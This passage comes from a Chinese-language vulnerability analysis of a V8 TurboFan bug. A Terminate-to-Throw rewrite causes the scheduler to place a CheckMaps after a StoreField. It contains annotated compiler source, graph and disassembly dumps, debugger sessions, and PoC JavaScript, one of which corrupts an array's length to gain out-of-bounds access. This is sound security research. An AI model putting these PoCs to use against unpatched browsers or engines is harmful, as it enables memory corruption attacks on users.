    Node* control = NodeProperties::GetControlInput(node, 0);
    //如果effect节点不是Unreachable
    if (effect->opcode() != IrOpcode::kUnreachable) {
      //将effect边节点置为Unreachable
      effect = graph()->NewNode(common()->Unreachable(), effect, control);
      NodeProperties::SetType(effect, Type::None());
    }
    //修改输入的边数量
    node->TrimInputCount(2);
    //将第一条输入边指向effect节点
    node->ReplaceInput(0, effect);
    //将第二条输入边指向control节点
    node->ReplaceInput(1, control);
    //将当前节点类型改为Throw节点
    NodeProperties::ChangeOp(node, common()->Throw());
    return Changed(node);
  }
  return NoChange();
}

//判断当前节点的control输入节点是否为死节点，如果是置为空节点
Reduction DeadCodeElimination::PropagateDeadControl(Node* node) {
  DCHECK_EQ(1, node->op()->ControlInputCount());
  //获取输入的control 节点
  Node* control = NodeProperties::GetControlInput(node);
  //判断control边节点是否为死节点，如果是将该节点置空
  if (control->opcode() == IrOpcode::kDead) return Replace(control);
  return NoChange();
}

Node* FindDeadInput(Node* node) {
  //判断节点input输入节点的类型
  for (Node* input : node->inputs()) {
    if (NoReturn(input)) return input;
  }
  return nullptr;
}

// True if we can guarantee that {node} will never actually produce a value or effect.
bool NoReturn(Node* node) {
  return node->opcode() == IrOpcode::kDead ||
         node->opcode() == IrOpcode::kUnreachable ||
         node->opcode() == IrOpcode::kDeadValue ||
         NodeProperties::GetTypeOrAny(node).IsNone();
}

这个代码的总体功能就是将Terminate节点修改为Throw节点。如下图所示，在Typer阶段，Terminate节点的输入边和输出边如下所示，Terminate节点的输入边为由97 EffectPhi输入的effect边，由103 Loop节点输入的control边。输出边为指向38 End的Control节点。

image-20220216111402188

当经过TypedLowering阶段优化后，110 Terminate节点变为了110 Throw节点，其两条输入边effect边的97 EffectPhi节点变为了402 Unreachable节点，control节点变为了IfFalse节点（这个节点的变化不是由于死节点导致）。

image-20220216111633912

漏洞分析

POC 分析

漏洞触发POC如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var obj = {};
function f () { 
  var var13 = new Int8Array ( 0 ) ; 
  var13 [ 0 ] = obj ; 
  async function var5 ( ) { 
    const var9 = {} ; 
    while ( 1 ) {
      //print("in loop");
      if ( abc1 | abc2 ) 
        while ( var9 ) {
          await 1 ;
          print(abc3);
        }
    }
  } 
  var5 ( ) ; 
}

print(f());
%PrepareFunctionForOptimization(f);
for(var i = 0; i < 22; i++)
  f();

%OptimizeFunctionOnNextCall(f);
f();

1、 先创建了一个空字典obj，随后创建了函数f，在该函数中创建了一个Int8Array对象var13，然后为var13[0]赋值一个obj；

2、 使用async 关键字声明了一个异步函数var5，创建了一个字典var9，随后创建一个死循环；

3、 在循环中会先检查abc1和abc2是否存在，随后检测var9是否存在，若都存在则使用了await 1，执行完毕后会输出 abc3；

在debug模式下运行，会产生如下错误：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Fatal error in ../../src/compiler/schedule.cc, line 297
# Debug check failed: BasicBlock::kNone == block->control() (none vs. throw).

#FailureMessage Object: 0x7ffc449676a0
==== C stack trace ===============================
    compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+0x6f) [0x7fcbff826f7f]
    compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+0x82) [0x7fcbff830772]
    compiler::CFGBuilder::ConnectBlocks(v8::internal::compiler::Node*)+0x146) [0x7fcbff82fc16]
    compiler::CFGBuilder::Run()+0x16a) [0x7fcbff82d55a]
    compiler::Scheduler::BuildCFG()+0xac) [0x7fcbff82a82c]
		compiler::Scheduler::ComputeSchedule
 		compiler::EffectControlLinearizationPhase::Run(v8::internal::compiler::PipelineData*, v8::internal::Zone*)+0x13d) [0x7fcbff80a2bd]
 		compiler::PipelineImpl::Run<v8::internal::compiler::EffectControlLinearizationPhase>()+0x87) 
		compiler::PipelineImpl::OptimizeGraph(v8::internal::compiler::Linkage*)+0x247) [0x7fcbff7f4b67]

报错原因是在进行Schedule构建CFG时，构建每个基本块的边时，处理Throw节点的检查没通过，报错的函数如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void ConnectThrow(Node* thr) {
  Node* throw_control = NodeProperties::GetControlInput(thr);
  //找到throw节点的前继control输入边节点所在基本块
  BasicBlock* throw_block = FindPredecessorBlock(throw_control);
  TraceConnect(thr, throw_block, nullptr);
  schedule_->AddThrow(throw_block, thr);
}

//block为Throw节点前继control输入节点所在基本块，input为Throw节点
void Schedule::AddThrow(BasicBlock* block, Node* input) {
  //前继基本块输入的control边是否为None
  DCHECK_EQ(BasicBlock::kNone, block->control());
  //设置前继基本块输入的control边为Throw类型
  block->set_control(BasicBlock::kThrow);
  //设置前继基本块的control边指向throw节点
  SetControlInput(block, input);
  //增加后继边指向end
  if (block != end()) AddSuccessor(block, end());
}

这里的思路很清晰，就是当遇到一个Throw节点时，将该节点的输入Control变定义为kThrow类型，再将其输入的Input节点加入到当前Throw节点的Control输入边的目标节点，最后将Throw节点的输出边指向end节点。也即优化Throw输出一定是end结束节点。

在上述代码说明中，我提到了前继和后继的概念这里是为了将 控制流图 与 节点图进行区分，我将控制流图中的 一个基本块的输入的控制流边命名为前继边，将其输出的控制流边命名为 后继边。 而且这里也要将控制流图中的边 与 节点图中的 Control类型边进行区分，这两条边分属于两个不同的图，含义也不相同。

在Debug时，首先会检查Throw节点的control输入边是否为kNone类型，如果是则进行后续。在这一步会报错。

漏洞触发分析

漏洞触发的关键就是 能够将Terminate节点优化为Throw节点，但是这个优化触发的具体流程是什么，也是我们需要重点关注的。

首先基于上面POC修改了一份能够触发优化的，最简POC如下：

1
2


OOB分析

这里，为了查看这个漏洞所能达到的效果，这里官方issue还提供了第二份poc，在这份POC中实现了OOB操作：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
class classA {
  constructor() {
    this.val = 0x4242;
    this.x = 0;
    this.a = [1,2,3];
  }
}

class classB {
  constructor() {
    this.val = 0x4141;
    this.x = 1;
    this.s = "dsa";
  }
}

var A = new classA();
var B = new classB();

function ff (arg1, arg2) {
  if (arg2 == 41) {
    return 5;
  }
  var int8arr = new Int8Array ( 10 ) ;
  var z = arg1.x;
  // new arr length
  arg1.val = -1;
  int8arr [ 1500000000 ] = 22 ;
  async function ff2 ( ) {
    const nothing = {} ;
    while ( 1 ) {
      //print("in loop");
      if ( abc1 | abc2 ) {
        while ( nothing ) {
          await 1 ;
          print(abc3);
        }
      }
    }
  }
  ff2 ( ) ;
}

var arr = new Array(10);
arr[0] = 1.1;

var i;
// this may optimize and deopt, that's fine
for (i=0; i < 20000; i++) {
    ff(A,0);
    ff(B,0);
}
// this will optimize it and it won't deopt
// this loop needs to be less than the previous one
for (i=0; i < 10000; i++) {
    ff(A,41);
    ff(B,41);
}

// change the arr length
ff(arr,0);

console.log("LENGTH: " + arr.length.toString());
console.log("value at index 12: " + arr[12]);

// crash
console.log("crash writing to offset 0x41414141");
arr[0x41414141] = 1.1;

1、 首先构建了两个类A和B，并有三个成员变量val、x、s

2、 然后创建了一个和POC1中类似的漏洞触发函数，区别在于加入了一段便于后续漏洞利用的代码

3、 最后创建一个大小为10的Array，并设置arr[0] = 1.1

4、 随后执行两个循环进行优化

5、 最后是触发OOB的代码，传入arr数组，修改arr.val = -1，这句代码就是真正能导致OOB的原因，如果程序没有对arr的map进行检查而是直接将其当作Class A 或 B处理，那么也会根据偏移去寻找arr的val变量的位置，而该位置刚好是arr数组的length的位置，也就是会将arr数组的 length修改为一个 极大值，使得arr数组能够越界。

而要造成上面的效果，一个很重要的前提条件就是要消除执行args.val = -1这句代码前的 CheckMaps检查。

OOB 原理

首先，编写如下的测试代码，测试当执行Store指令时的Turbofan优化图：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class classA {
    constructor() {
      this.val = 0x4242;
      this.x = 0;
      this.a = [1,2,3];
    }
  }

function checkMap(arg1){
    arg1.val = -1;
}

a = new classA();

for(let i = 0; i< 20000; i++){
    checkMap(a);
}

var arr = new Array(10);
arr[0] = 1.1;

checkMap(arr);
console.log("length:"+arr.length)

可以看到，一个主要的Store操作是arg1.val = -1。经过优化后图在EffectLinearization阶段的StoreField操作前的58 DeoptimizeUnless节点会判断当前Map是否相同，如果不相同则会进入解优化的过程，所以这里会有CheckMaps检查。

image-20220217163635972

最终生成的优化后的字节码如下，可以看到

1
2
3
4
5
6
7
8
41  movl rdi,0x8244f91      ;; (compressed) object: 0x36ac08244f91 <Map(HOLEY_ELEMENTS)>
46  cmpl rdi,rcx						// CheckMap
48  jnz 0x36ac00082bc3  <+0xa3>
4e  movl [rdx+0xb],0xfffffffe		//赋值
55  REX.W movq rax,[r13+0xa0] (root (undefined_value))
5c  REX.W movq rsp,rbp
5f  pop rbp
60  ret 0x10

而在我们的POC生成的优化图EffectLinearization阶段，其79 StoreFiled节点表示关键代码arg1.val = -1，而这里可以看到此时在79 StoreField节点之前仍然有465 DeoptimizeUnless节点且会进行WrongMap的检查。

image-20220218144057101

但是，如果我们查看最终生成的 优化代码中也可以看到区别，在执行StoreField赋值操作之前并没有CheckMap检查。

1
2
3
4
5
6
7
92  movl r9,[r8-0x1]
96  movl [r8+0xb],0xfffffffe	//StoreField赋值操作
9e  movl r11,[rax-0x1]
a2  movl r12,0x8240559       ;; (compressed) object: 0x035608240559 <Map(INT8ELEMENTS)>
a8  cmpl r12,r11						//Map检查
ab  jnz 0x356000854f1  <+0x151>
b1  REX.W movq r11,0x35608215729    ;; object: 0x035608215729 <HeapNumber 1500000000.0>

我们可以在将有漏洞的版本和修复后的版本在EffectLinearizition阶段生成的CFG进行对比，就可以发现问题是出现在该阶段根据节点图生成控制流图时，将StoreField基本块和DeoptimizeUnless基本块进行排序时，漏洞版本会将StoreField基本块排在DeoptimizeUnless基本块之前，最终生成优化后的字节码时就会使得赋值操作在CheckMaps检查之前。

如下图是，修复后版本对POC在EffectLinearizition阶段生成的CFG：

下图是，漏洞版本生成的CFG。可以观察控制流执行顺序，此时有一条是B3 -> B4 ->B5，在B4基本块中有漏洞利用的关键赋值操作79 StoreField，在B5基本块中有CheckMap所在的465 DeoptimizeUnless。此时，可以明确看到类型检查的节点被放到了赋值操作之后。这与我们在基础知识中讲解的Schedule阶段会依据effect和control变约束基本块之间的执行顺序有关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
-- Graph after V8.TFEffectLinearization -- 
  + Block B0 (pred:)
     #0:Start()  [Type: Internal]
  	 // ...
     #438:Branch[True, SafetyCheck](#437:StackPointerGreaterThan, #0:Start) -> B2, B1
  + Block B1 (pred: B0)
     #440:IfFalse(#438:Branch)
     
  	 #14:Call[Code:StackGuardWithGap:r1s1i5f1](#446:HeapConstant, #443:LoadStackCheckOffset, #444:ExternalConstant, #445:Int32Constant, #13:HeapConstant, #15:FrameState, #437:StackPointerGreaterThan, #440:IfFalse)
     Goto -> B3
  + Block B2 (pred: B0)
     #439:IfTrue(#438:Branch)
     Goto -> B3
  + Block B3 (pred: B2 B1)
     #441:Merge(#439:IfTrue, #14:Call)
     #442:EffectPhi(#437:StackPointerGreaterThan, #14:Call, #441:Merge)
     #417:Int32Constant[0]()
     #450:Word32And(#3:Parameter, #445:Int32Constant)
     #451:Word32Equal(#450:Word32And, #417:Int32Constant)
     #452:DeoptimizeUnless[Eager, NotASmi, SafetyCheck, FeedbackSource(INVALID)](#451:Word32Equal, #15:FrameState, #442:EffectPhi, #441:Merge)
     #421:Int64Constant[82]()
     #18:Word32Equal(#3:Parameter, #421:Int64Constant)  [Type: Boolean]
     #19:Branch[None, NoSafetyCheck](#18:Word32Equal, #452:DeoptimizeUnless) -> B8, B4
  + Block B4 (pred: B3)
     #20:IfFalse(#19:Branch)
		 // ...
     #455:DeoptimizeIf[Eager, Smi, SafetyCheck, FeedbackSource(INVALID)](#454:Word32Equal, #414:FrameState, #74:Call, #74:Call)
     #457:HeapConstant[0x0ed208245009 <Map(HOLEY_ELEMENTS)>]()
     #456:LoadField[tagged base, 0, OtherInternal, kRepTaggedPointer|kTypeAny, MapWriteBarrier, mutable](#2:Parameter, #455:DeoptimizeIf, #455:DeoptimizeIf)
     #458:Word32Equal(#456:LoadField, #457:HeapConstant)
     #433:Int64Constant[-2]()
     #432:Int64Constant[44]()
     #49:NumberConstant[1.5e+09]()  [Type: Range(1500000000, 1500000000)]
     #79:StoreField[tagged base, 12, #val, Signed31, kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](#2:Parameter, #433:Int64Constant, #467:EffectPhi, #466:Merge)		// 关键赋值操作
     // ...
     #459:Branch[None, CriticalSafetyCheck](#458:Word32Equal, #455:DeoptimizeIf) -> B9, B6, B5
  + Block B5 (pred: B4)
     #461:IfFalse(#459:Branch)
     #463:HeapConstant[0x0ed2082450f9 <Map(HOLEY_ELEMENTS)>]()
     #464:Word32Equal(#456:LoadField, #463:HeapConstant)
     #465:DeoptimizeUnless[Eager, WrongMap, CriticalSafetyCheck, FeedbackSource(INVALID)](#464:Word32Equal, #414:FrameState, #456:LoadField, #461:IfFalse)			//CheckMap 检查
     Goto -> B7
  + Block B6 (pred: B4)
     #460:IfTrue(#459:Branch)
     Goto -> B7
  + Block B7 (pred: B6 B5)
     #466:Merge(#460:IfTrue, #465:DeoptimizeUnless)
     #467:EffectPhi(#456:LoadField, #465:DeoptimizeUnless, #466:Merge)
     #476:Throw(#422:Unreachable, #475:DeoptimizeUnless) -> B9
  + Block B8 (pred: B3)
     #23:IfTrue(#19:Branch)
     #419:Int64Constant[10]()
     #27:Return(#417:Int32Constant, #419:Int64Constant, #452:DeoptimizeUnless, #23:IfTrue) -> B9
  + Block B9 (pred: B8 B4 B7)
     #61:End(#27:Return, #137:Throw, #476:Throw)

总结：由于POC在Turbofan的EffectLinearizition阶段，根据节点的effect和control边来约束生成基本块的执行顺序时，将CheckMap检查的节点放到了StoreField操作节点之后，导致在执行赋值操作之前没有进行Map检查，最终能够成功修改array数组类型的length属性为-1，实现OOB攻击。

CheckMap 如何被绕过

前面已经说明，OOB是如何产生的。那么，现在的问题是如何实现将DeoptimizeUnless节点放到StoreField节点之后的基本块中，也即如何实现了绕过CheckMap。

那么首先需要明白，在CFG构建过程，每个节点是如何被放入基本块中的。

CFG 构建

Schedule阶段一个重要的任务就是切割基本块，然后构建CFG图。在EffectControlLinearizationPhase中，首先是执行GraphTrimmer，去除目前节点图中不能到达的节点；然后执行ComputeSchedule去计算构建CFG；然后执行LinearizeEffectControl其会重新连接allocate分配节点的control和effect边，消除region节点，引入EffectPhi节点来实现控制流图的SSA（static single assignment form，每个变量仅被赋值一次）；最后执行dead_code_elimination和common_reducer进行节点删减。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
struct EffectControlLinearizationPhase {
  DECL_PIPELINE_PHASE_CONSTANTS(EffectLinearization)

  void Run(PipelineData* data, Zone* temp_zone) {
    {
      // The scheduler requires the graphs to be trimmed, so trim now.
      // TODO(jarin) Remove the trimming once the scheduler can handle untrimmed
      // graphs.
      //去除节点图中不能到达的节点
      GraphTrimmer trimmer(temp_zone, data->graph());
      NodeVector roots(temp_zone);
      data->jsgraph()->GetCachedNodes(&roots);
      trimmer.TrimGraph(roots.begin(), roots.end());

      // Schedule the graph without node splitting so that we can
      // fix the effect and control flow for nodes with low-level side
      // effects (such as changing representation to tagged or
      // 'floating' allocation regions.)
      
      //Schedule流程，初步构建CFG
      Schedule* schedule = Scheduler::ComputeSchedule(
          temp_zone, data->graph(), Scheduler::kTempSchedule,
          &data->info()->tick_counter());
      TraceScheduleAndVerify(data->info(), data, schedule,
                             "effect linearization schedule");

      MaskArrayIndexEnable mask_array_index =
          (data->info()->GetPoisoningMitigationLevel() !=
           PoisoningMitigationLevel::kDontPoison)
              ? MaskArrayIndexEnable::kMaskArrayIndex
              : MaskArrayIndexEnable::kDoNotMaskArrayIndex;
      // Post-pass for wiring the control/effects
      // - connect allocating representation changes into the control&effect
      //   chains and lower them,
      // - get rid of the region markers,
      // - introduce effect phis and rewire effects to get SSA again.
      //根据effect和control边引入分配连接，消除region标志位
      //并将effect phis 和 rewire effect 引入到 SSA
      LinearizeEffectControl(data->jsgraph(), schedule, temp_zone,
                             data->source_positions(), data->node_origins(),
                             mask_array_index, MaintainSchedule::kDiscard);
    }
    {
      // The {EffectControlLinearizer} might leave {Dead} nodes behind, so we
      // run {DeadCodeElimination} to prune these parts of the graph.
      // Also, the following store-store elimination phase greatly benefits from
      // doing a common operator reducer and dead code elimination just before
      // it, to eliminate conditional deopts with a constant condition.
      GraphReducer graph_reducer(temp_zone, data->graph(),
                                 &data->info()->tick_counter(),
                                 data->jsgraph()->Dead());
      DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
                                                data->common(), temp_zone);
      CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
                                           data->broker(), data->common(),
                                           data->machine(), temp_zone);
      AddReducer(data, &graph_reducer, &dead_code_elimination);
      AddReducer(data, &graph_reducer, &common_reducer);
      //执行dead_code_elimination 和 common_reducer
      graph_reducer.ReduceGraph();
    }
  }
};
computeSchedule

ComputeSchedule函数的主要流程为：

  • 基于节点图构建基本的CFG
  • 计算基本块的PRO(reverse-post-ordering 逆后序)（编译原理的逆后序可参考迭代数据流分析中的逆后序)，这里计算逆后序是为了给后续构建支配节点树提供每个节点的Dom值
  • 随后为CFG构建支配节点树Dominator Tree，关于支配节点树的作用可以参考编译原理代码优化相关章节，这里可以理解为由于后续的各种优化需要基于Dom Tree，所以这里需要提前构建
  • 然后按照逆后序计算每个节点的Use情况（即记录指向该节点的边id、以及前驱节点id和本节点id）
  • 随后计算出节点的最小包含基本块以及对应的dominator所属层次等信息，同时根据依赖关系将该信息传播给该节点所支配的结点更新他们的支配信息。这里计算的节点所属位置仍是不确定的，因为只有在综合所有的支配信息之后才能得到节点真正应属的位置
  • 通过前面的支配信息的传播，随后对所有的节点的基本块所属位置做最后的构建
  • 最后将节点放入到对应的基本块中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Schedule* Scheduler::ComputeSchedule(Zone* zone, Graph* graph, Flags flags,
                                     TickCounter* tick_counter) {
  Zone* schedule_zone =
      (flags & Scheduler::kTempSchedule) ? zone : graph->zone();

  // Reserve 10% more space for nodes if node splitting is enabled to try to
  // avoid resizing the vector since that would triple its zone memory usage. 
  float node_hint_multiplier = (flags & Scheduler::kSplitNodes) ? 1.1 : 1;
  size_t node_count_hint = node_hint_multiplier * graph->NodeCount();
	
  Schedule* schedule =
      new (schedule_zone) Schedule(schedule_zone, node_count_hint);
  Scheduler scheduler(zone, graph, schedule, flags, node_count_hint,
                      tick_counter);
	//构建初始CFG
  scheduler.BuildCFG();
  //计算基本块的逆后序
  scheduler.ComputeSpecialRPONumbering();
  //生成每个基本块的Dominator支配节点
  scheduler.GenerateDominatorTree();
	//计算每个节点的使用Use情况
  scheduler.PrepareUses();
  //计算节点的最小办好基本块即dominator信息
  scheduler.ScheduleEarly();
  //计算最终的支配信息，确定节点的最后的顺序
  scheduler.ScheduleLate();
	//将节点放入对应的基本块中
  scheduler.SealFinalSchedule();

  return schedule;
}
BuildCFG

基本块构建主要包含三部分：

  • 随后使用反向广度优先算法遍历节点图
  • 使用Queue函数依据节点的类型将节点划分到每个基本块中，或创建新的基本块
  • 最后调用ConnectBlocks来为划分的基本块创建连接边
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void Run() {
    ResetDataStructures();
    Queue(scheduler_->graph_->end());
		//使用反向广度优先遍历
    while (!queue_.empty()) {  // Breadth-first backwards traversal.
      scheduler_->tick_counter_->DoTick();
      Node* node = queue_.front();
      queue_.pop();
      int max = NodeProperties::PastControlIndex(node);
      for (int i = NodeProperties::FirstControlIndex(node); i < max; i++) {
        ////依次将节点添加到基本块中
        Queue(node->InputAt(i));
      }
    }
		// 将划分的各个基本块进行连接
    for (NodeVector::iterator i = control_.begin(); i != control_.end(); ++i) {
      ConnectBlocks(*i);  // Connect block to its predecessor/successors.
    }
  }

//将节点加到基本块中
void Queue(Node* node) {
  // Mark the connected control nodes as they are queued.
  if (!queued_.Get(node)) {
    //根据节点类型，选择将节点加入基本块中作为FixNode，还是选择创建新的基本块
    BuildBlocks(node);
    //queue_用于反向深度优先遍历
    queue_.push(node);
    //queued_用于标记节点是否被处理
    queued_.Set(node, true);
    //control_ 存储遇到的控制节点的列表
    control_.push_back(node);
  }
}
ConnectBlocks

该函数用于建立切割好的基本块之间的连接边。其会根据基本块的control节点的类型，创建对应的连接。这里主要关注kThrow类型。

  • 首先调用UpdatePlacement函数，根据当前节点的指令类型来修改节点的处理信息，并减少该节点输入边的Use数量
  • 随后使用ConnectThrow函数为Throw所在基本块与结束基本块添加边信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
void ConnectBlocks(Node* node) {
  switch (node->opcode()) {
    //...
    case IrOpcode::kThrow:
      //设置节点的placement属性
      scheduler_->UpdatePlacement(node, Scheduler::kFixed);
      //为Throw节点设置连接边
      ConnectThrow(node);
      break;
    //...
    default:
      break;
  }
}

void Scheduler::UpdatePlacement(Node* node, Placement placement) {
  //获取节点的处理信息
  SchedulerData* data = GetData(node);
  //如果该节点是kUnknown类型
  if (data->placement_ == kUnknown) {
    // We only update control nodes from {kUnknown} to {kFixed}.  Ideally, we
    // should check that {node} is a control node (including exceptional calls),
    // but that is expensive.
    DCHECK_EQ(Scheduler::kFixed, placement);
    //修改类型
    data->placement_ = placement;
    return;
  }
	//根据节点类型
  switch (node->opcode()) {
    case IrOpcode::kParameter:
      // Parameters are fixed once and for all.
      UNREACHABLE();
    case IrOpcode::kPhi:
    case IrOpcode::kEffectPhi: {
      // Phis and effect phis are coupled to their respective blocks.
      DCHECK_EQ(Scheduler::kCoupled, data->placement_);
      DCHECK_EQ(Scheduler::kFixed, placement);
      //获取节点的输入节点control_input
      Node* control = NodeProperties::GetControlInput(node);
      //获取control_input所在的基本块
      BasicBlock* block = schedule_->block(control);
      //为该基本块添加该节点
      schedule_->AddNode(block, node);
      break;
    }
#define DEFINE_CONTROL_CASE(V) case IrOpcode::k##V:
      CONTROL_OP_LIST(DEFINE_CONTROL_CASE)
#undef DEFINE_CONTROL_CASE
      {
        // Control nodes force coupled uses to be placed.
        for (auto use : node->uses()) {
          if (GetPlacement(use) == Scheduler::kCoupled) {
            DCHECK_EQ(node, NodeProperties::GetControlInput(use));
            UpdatePlacement(use, placement);
          }
      }
      break;
    }
    default:
      DCHECK_EQ(Scheduler::kSchedulable, data->placement_);
      DCHECK_EQ(Scheduler::kScheduled, placement);
      break;
  }
  // Reduce the use count of the node's inputs to potentially make them
  // schedulable. If all the uses of a node have been scheduled, then the node
  // itself can be scheduled.
  //减少该节点输入边的使用，如果一个节点的使用全部被scheduled，则该节点也被scheduled
  for (Edge const edge : node->input_edges()) {
    DecrementUnscheduledUseCount(edge.to(), edge.index(), edge.from());
  }
  data->placement_ = placement;
}


void ConnectThrow(Node* thr) {
  // 获取Throw节点的控制输入节点 throw_control
  Node* throw_control = NodeProperties::GetControlInput(thr);
  //找到throw_control节点的所在基本块throw_block
  BasicBlock* throw_block = FindPredecessorBlock(throw_control);
  TraceConnect(thr, throw_block, nullptr);
  //为throw_block添加连接
  schedule_->AddThrow(throw_block, thr);
}
//从节点获取基本块
BasicBlock* FindPredecessorBlock(Node* node) {
  BasicBlock* predecessor_block = nullptr;
  while (true) {
    predecessor_block = schedule_->block(node);
    //一直遍历Control_input链，知道找到某个节点已经被标注基本块
    if (predecessor_block != nullptr) break;
    node = NodeProperties::GetControlInput(node);
  }
  return predecessor_block;
}

void Schedule::AddThrow(BasicBlock* block, Node* input) {
  //检查Block的最后一个控制节点是否为kNone属性
  DCHECK_EQ(BasicBlock::kNone, block->control());
  //设置该Block的最后一个控制节点为kThrow属性
  block->set_control(BasicBlock::kThrow);
  //设置基本块的control_input_属性和添加节点到块的映射
  SetControlInput(block, input);
  //为throw_block和end块添加后继和前驱
  if (block != end()) AddSuccessor(block, end());
}

void Schedule::SetControlInput(BasicBlock* block, Node* node) {
  //设置基本块的输入控制节点为kThrow节点
  block->set_control_input(node);
  //添加从节点到基本块的映射
  SetBlockForNode(block, node);
}

void Schedule::SetBlockForNode(BasicBlock* block, Node* node) {
  //nodeid_to_block指从节点到基本块的映射
  if (node->id() >= nodeid_to_block_.size()) {
    nodeid_to_block_.resize(node->id() + 1);
  }
  nodeid_to_block_[node->id()] = block;
}

void Schedule::AddSuccessor(BasicBlock* block, BasicBlock* succ) {
  block->AddSuccessor(succ);
  succ->AddPredecessor(block);
}

总结：当遇到一个Throw节点时，在debug版本会检查Throw节点所在基本块的最后一个控制节点是否为kNone属性，如果是则将其修改为kThrow属性，然后为该基本块和结束基本块构建一个双向边。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
In file: /home/alex/v8/v8/src/compiler/scheduler.cc
   563     schedule_->AddDeoptimize(deoptimize_block, deopt);
   564   }
   565 
   566   void ConnectThrow(Node* thr) {
   567     Node* throw_control = NodeProperties::GetControlInput(thr);
 ► 568     BasicBlock* throw_block = FindPredecessorBlock(throw_control);
   569     TraceConnect(thr, throw_block, nullptr);
   570     schedule_->AddThrow(throw_block, thr);
   571   }
   572 
   573   void TraceConnect(Node* node, BasicBlock* block, BasicBlock* succ) {

//throw 节点
pwndbg> p *(Operator*)(*(Node*)thr).op_
$62 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x56213d91f750 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator+16>,
  mnemonic_ = 0x56213c93492a "Throw",
  opcode_ = 21,
  properties_ = {
    mask_ = 120 'x'
  },
  value_in_ = 0,
  effect_in_ = 1,
  control_in_ = 1,
  value_out_ = 0,
  effect_out_ = 0 '\000',
  control_out_ = 1
}
pwndbg> p *(Node*)thr
$63 = {
  static kOutlineMarker = 15,
  static kMaxInlineCapacity = 14,
  op_ = 0x56213d96c2f8 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>,
  type_ = {
    payload_ = 0
  },
  mark_ = 47,
  bit_field_ = 570425454, //id=110	
  first_use_ = 0x56213f06e320
}   
//throw_control
pwndbg> p *(Operator*)(*(Node*)$rax).op_
$60 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x56213d91f6a8 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::IfFalseOperator+16>,
  mnemonic_ = 0x56213c966530 "IfFalse",
  opcode_ = 5,
  properties_ = {
    mask_ = 120 'x'
  },
  value_in_ = 0,
  effect_in_ = 0,
  control_in_ = 1,
  value_out_ = 0,
  effect_out_ = 0 '\000',
  control_out_ = 1
}
pwndbg> p *(Node*)$rax
$61 = {
  static kOutlineMarker = 15,
  static kMaxInlineCapacity = 14,
  op_ = 0x56213d96c268 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+144>,
  type_ = {
    payload_ = 0
  },
  mark_ = 47,
  bit_field_ = 285212737,		//id=65
  first_use_ = 0x56213f055080
}

从上面看到在处理110 Throw节点时，会先获取其control输入节点throw_control为65 IfFalse节点；然后从65 IfFalse节点开始遍历ControlInput链寻找已经被分配基本块的节点，并得到基本块编号，这里刚好64 IfFalse已经被分配了基本块编号3，则throw_block = 3，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
In file: /home/alex/v8/v8/src/compiler/scheduler.cc
   444 
   445   BasicBlock* FindPredecessorBlock(Node* node) {
   446     BasicBlock* predecessor_block = nullptr;
   447     while (true) {
   448       predecessor_block = schedule_->block(node);
 ► 449       if (predecessor_block != nullptr) break;
   450       node = NodeProperties::GetControlInput(node);
   451     }
   452     return predecessor_block;
   453   }
   454 

pwndbg> p *(BasicBlock*)throw_block
$69 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::BasicBlock:
  loop_number_ = -1,
  rpo_number_ = -1,
  deferred_ = false,
  dominator_depth_ = -1,
  dominator_ = 0x0,
  rpo_next_ = 0x0,
  loop_header_ = 0x0,
  loop_end_ = 0x0,
  loop_depth_ = 0,
  control_ = v8::internal::compiler::BasicBlock::kNone,	//control_=kNone
